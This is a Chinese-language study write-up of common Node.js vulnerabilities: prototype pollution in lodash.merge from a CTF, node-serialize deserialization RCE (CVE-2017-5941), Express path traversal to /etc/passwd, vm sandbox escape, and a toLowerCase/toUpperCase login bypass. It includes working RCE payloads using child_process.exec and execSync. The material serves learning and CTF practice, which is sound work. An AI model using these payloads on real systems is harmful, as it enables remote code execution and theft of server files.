merge操作是最常见可能控制键名的操作,也最能被原型链攻击。

简单例子:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)

object3 = {}
console.log(object3.b)
需要注意的点是:

在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。

最终输出的结果为:

1 2
2
可见object3的b是从原型中获取到的,说明Object已经被污染了。

Code-Breaking 2018 Thejs
这个题目已经有很多的分析文章了,但因为它是一个比较好的学习原型链污染的题目,还是值得自己再过一遍。

题目源码下载:http://code-breaking.com/puzzle/9/

直接npm install可以把需要的模块下载下来。

server.js

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))

app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
// 定义session
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
// 获取post数据并合并
data = lodash.merge(data, req.body)
req.session.data = data
// 再将data赋值给session
}
res.render('index', {
language: data.language,
category: data.category
})
})

app.listen(3000, () => console.log('Example app listening on port 3000!'))
问题出在了lodashs.merge函数这里,这个函数存在原型链污染漏洞。但是光存在漏洞还不行,我们得寻找到可以利用的点。因为通过漏洞可以控制某一种实例对象原型的属性,所以我们需要去寻找一个可以被利用的属性。

页面最终会通过lodash.template进行渲染,跟踪到lodash/template.js中。



如图可以看到options是一个对象,sourceURL是通过下面的语句赋值的,options默认没有sourceURL属性,所以sourceURL默认也是为空。

var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
如果我们能够给options的原型对象加一个sourceURL属性,那么我们就可以控制sourceURL的值。

继续往下面看,最后sourceURL传递到了Function函数的第二个参数当中:



var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
通过构造chile_process.exec()就可以执行任意代码了。

最终可以构造一个简单的Payload作为传递给主页面的的POST数据(windows调用计算器):

{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('calc')//"}}
(这里直接用require会报错:ReferenceError: require is not defined

p神给了一个更好的payload:

{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}
node-serialize反序列化RCE漏洞(CVE-2017-5941)
漏洞出现在node-serialize模块0.0.4版本当中,使用npm install node-serialize@0.0.4安装模块。

了解什么是IIFE:
IIFE(立即调用函数表达式)是一个在定义时就会立即执行的 JavaScript 函数。

IIFE一般写成下面的形式:

(function(){ /* code */ }());
// 或者
(function(){ /* code */ })();
node-serialize@0.0.4漏洞点
漏洞代码位于node_modules\node-serialize\lib\serialize.js中:



其中的关键就是:obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');这一行语句,可以看到传递给eval的参数是用括号包裹的,所以如果构造一个function(){}()函数,在反序列化时就会被当中IIFE立即调用执行。来看如何构造payload:

构造Payload
serialize = require('node-serialize');
var test = {
rce : function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});},
}
console.log("序列化生成的 Payload: \n" + serialize.serialize(test));
生成的Payload为:

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}"}

因为需要在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个(),结果如下:

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}()"}

(这里不能直接在对象内定义IIFE表达式,不然会序列化失败)

传递给unserialize(注意转义单引号):

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr){console.log(stdout)});}()"}';
serialize.unserialize(payload);
执行命令成功,结果如图:



Node.js 目录穿越漏洞复现(CVE-2017-14849)
在vulhub上面可以直接下载到环境。

漏洞影响的版本:

Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5
运行漏洞环境:

cd vulhub/node/CVE-2017-14849/
docker-compose build
docker-compose up -d
用Burpsuite获取地址:/static/../../../a/../../../../etc/passwd 即可下载得到/etc/passwd文件



具体分析可见:Node.js CVE-2017-14849 漏洞分析

vm沙箱逃逸
vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸:

逃逸例子:

const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);
执行之后可以获取到主程序环境中的环境变量

上面例子的代码等价于如下代码:

const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);
创建vm环境时,首先要初始化一个对象 sandbox,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象。

因为this.constructor.constructor返回的是一个Function constructor,所以可以利用Function对象构造一个函数并执行。(此时Function对象的上下文环境是处于主程序中的) 这里构造的函数内的语句是return this.process.env,结果是返回了主程序的环境变量。

配合chile_process.exec()就可以执行任意命令了:

const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);
最近的mongo-express RCE(CVE-2019-10758)漏洞就是配合vm沙箱逃逸来利用的。

具体分析可参考:CVE-2019-10758:mongo-expressRCE复现分析

javascript大小写特性
在javascript中有几个特殊的字符需要记录一下

对于toUpperCase():

字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
对于toLowerCase():

字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)
在绕一些规则的时候就可以利用这几个特殊字符进行绕过

CTF题实例 - Hacktm中的一道Nodejs题

题目部分源码:

function isValidUser(u) {
return (
u.username.length >= 3 &&
u.username.toUpperCase() !== config.adminUsername.toUpperCase()
);
}

function isAdmin(u) {
return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}
解题时需要登录管理员的用户名,但是在登录时,isValidUser函数会对用户输入的用户名进行toUpperCase处理,再与管理员用户名进行对比。如果输入的用户名与管理员用户名相同,就不允许登录。

但是我们可以看到,在之后的一个判断用户是否为管理员的函数中,对用户名进行处理的是toLowerCase。所以这两个差异,就可以使用大小写特性来进行绕过。

题目中默认的管理员用户名为:hacktm

所以,我们指定登录时的用户名为:hacKtm 即可绕过isValidUser和isAdmin的验证。

题目完整Writeup:HackTM中一道Node.js题分析(Draw with us)

说在最后
最近才刚开始学习Node.js,打算趁寒假这段时间把常见的几个漏洞总结一下。如果文章中出现了错误,还希望师傅们能够直接指出来,十分感谢!